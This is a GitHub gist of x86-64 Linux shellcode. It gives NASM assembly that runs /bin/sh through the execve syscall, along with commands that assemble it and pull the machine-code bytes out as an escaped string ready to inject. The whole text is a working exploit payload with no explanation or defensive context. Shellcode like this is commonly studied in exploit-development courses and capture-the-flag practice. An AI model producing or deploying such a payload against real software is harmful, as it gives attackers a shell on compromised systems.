Skip to content

Instantly share code, notes, and snippets.

@ekojs
Last active April 4, 2021 01:55
Show Gist options
  • Save ekojs/fb7f5b71d19635dfbc425fdcfe53bb4b to your computer and use it in GitHub Desktop.
Save ekojs/fb7f5b71d19635dfbc425fdcfe53bb4b to your computer and use it in GitHub Desktop.
shellcode assembly
nasm -f elf64 -o shell64.o shell64.asm
ld -o shell64 shell64.o
objdump -d shell64.o | grep -E "[0-9a-f]+:\s+[0-9a-f].*" | sed 's/.*:\s*//g;s/\s\{2,\}.*$//g' | sed 's/\(\w\{2\}\)/\\x\1/g;s/\s//g' | perl -p -e 's/\n//g'
section .bss
section .data
section .text
global _start
_start:
xor rdx,rdx
mov qword rbx, '//bin/sh'
shr rbx, 0x8
push rbx
mov rdi, rsp
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment